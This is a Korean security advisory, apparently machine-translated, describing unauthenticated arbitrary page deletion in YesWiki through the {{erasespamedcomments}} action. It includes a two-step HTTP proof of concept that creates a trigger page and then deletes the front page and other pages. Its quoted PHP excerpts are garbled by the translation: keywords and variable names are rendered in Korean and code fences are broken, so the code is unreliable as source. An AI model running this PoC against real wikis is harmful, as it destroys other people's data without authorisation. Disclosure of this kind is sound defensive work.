YesWiki는 `{{erasespamedcomments}}` 작업을 통한 인증되지 않은 임의 페이지 삭제에 취약합니다.
{{erasespamedcomments}} 위키 작업(actions/EraseSpamedCommentsAction.php)은 POST에서 suppr[] 배열을 받아들이고 해당 배열에 태그가 나타나는 모든 위키 페이지를 삭제합니다. 작업 본문이나 호출하는 페이지 삭제 경로의 어느 곳에서도 인증 확인을 거치지 않습니다. YesWiki의 기본 허용 작업 ACL 모델과 결합하면 새로 설치 시 모든 사람의 기본값인 페이지 쓰기 권한(default_write_acl='*')을 가진 모든 사용자는 첫 페이지, 관리 페이지 및 다른 사용자가 소유한 페이지를 포함한 임의의 위키 페이지를 영구적으로 삭제할 수 있습니다.
작업의 delete() 호출 수신자는 PageManager::deleteOrphaned()입니다. 이름에도 불구하고 대상 페이지가 고아인지 여부를 확인하지 않습니다. 즉, pages, links, acls, triples, referrers 및 tags 테이블에 대해 무조건 DELETE를 실행합니다.
세 가지 문제가 취약점을 구성합니다.
actions/EraseSpamedCommentsAction.php는 actions/EraseSpamedCommentsAction.php에서 $_POST['clean'] / $_POST['suppr'][]을 처리하기 전에 인증 확인을 수행하지 않습니다.
``php
공개 함수 실행()
{
$wiki = &$this->wiki;
ob_start();
// ...
elseif (isset($_POST['clean'])) {
$deletedPages = '';
if (!empty($_POST['suppr'])) {
foreach ($_POST['suppr'] as $page) {
echo '삭제 de : ' . $페이지 . "\n";
if ($wiki->services->get(PageController::class)->delete($page)) {
$deletedPages .= $페이지 . ',';
}
}
}
}
}
`UserIsAdmin()` 없음, `UserIsOwner()` 없음, 대상별 `HasAccess('write', $page)` 없음, CSRF 토큰 확인 없음.
기본 작업 ACL은 includes/YesWiki.php의 모든 사람에게 액세스 권한을 부여합니다.
``php $acl = 비어 있음($this->config['permissions'][$moduleType][$module]) ? '*' : $this->config['permissions'][$moduleType][$module];
``php
if ($acl === null) { true를 반환합니다. }
return $this->CheckACL($acl, $user);
제공된 권한 맵은 관리자에게 erasespamedcomments를 게이트하지 않으므로 Performer::CheckModuleACL('erasespamedcomments', 'action')은 익명 사용자에 대해 true를 반환합니다.
PageController::delete() 및 PageManager::deleteOrphaned()는 인증 확인을 수행하지 않으며 페이지가 실제로 includes/controllers/PageController.php:38–48에서 고아인지 확인하지 않습니다.
``php 공개 함수 삭제(string $tag): bool { if ($this->entryManager->isEntry($tag)) { return $this->entryController->delete($tag); } 그렇지 않으면 { $this->pageManager->deleteOrphaned($tag); $this->wiki->로그관리액션( $this->authController->getLoggedUserName(), '페이지 억제 ->""' . $ 태그 . ''''' ); 사실을 반환; } }
includes/services/PageManager.php:289–310에서:
``php
공개 함수 deleteOrphaned($tag)
{
if ($this->securityController->isWikiHibernated()) { throw new \Exception(_t('WIKI_IN_HIBERNATION')); }
unset($this->ownersCache[$tag]);
if (in_array($tag, $this->pageCache)) { unset($this->pageCache[$tag]); }
$this->dbService->query("DELETE FROM ... WHERE tag='{$this->dbService->escape($tag)}' OR comment_on='{$this->dbService->escape($tag)}'");
$this->dbService->query("...링크에서 삭제... 어디서 from_tag='{$this->dbService->escape($tag)}' ");
$this->dbService->query("...acls에서 삭제... WHERE page_tag='{$this->dbService->escape($tag)}' ");
// ...트리플, 리퍼러, 태그 전반에 걸쳐 추가로 무조건적인 DELETE
}
동반 `isOrphaned()` 메소드(284행)가 존재하지만 `deleteOrphaned()`에서 호출되지 않습니다. 함수 이름은 고아 페이지뿐만 아니라 모든 페이지를 삭제하므로 오해의 소지가 있습니다.
### PoC
`default_write_acl='*'`(`includes/YesWikiInit.php:219`에 따라)인 기본 새로 설치, 익명 검색.
1. 트리거 페이지 생성(익명)
``http
POST /?wiki=SpamCleanup/HTTP/1.1 편집
호스트: target.example
콘텐츠 유형: application/x-www-form-urlencoded
body=%7B%7Berasespamedcomments%7D%7D&submit=1
이는 새 페이지가 default_write_acl='*'에 대해 aclService->hasAccess('write', 'SpamCleanup')를 전달하기 때문에 성공합니다.
``http POST /?wiki=SpamCleanup HTTP/1.1 호스트: target.example 콘텐츠 유형: application/x-www-form-urlencoded
clean=yes&suppr%5B0%5D=PagePrincipale&suppr%5B1%5D=다른 대상 페이지
서버 응답에는 `Effacement de : PagePrincipale` 및 `Effacement de : AnotherTargetPage`가 포함됩니다. 해당 태그에 대한 `pages`, `links`, `acls`, `triples`, `referrers` 및 `tags` 행이 데이터베이스에서 삭제됩니다.
### 영향
첫 페이지(`PagePrincipale`)를 포함한 임의의 페이지 삭제.
왜 이 VPI인가 (설명가능 · 실험적)
VPI 산정 기준
| 영향도 | 91.00 |
| 악용 신호(추가 악용신호 없음) | ×1.00 |
| VPI | 91.00 |
VPI 공식 vpi-v1 기준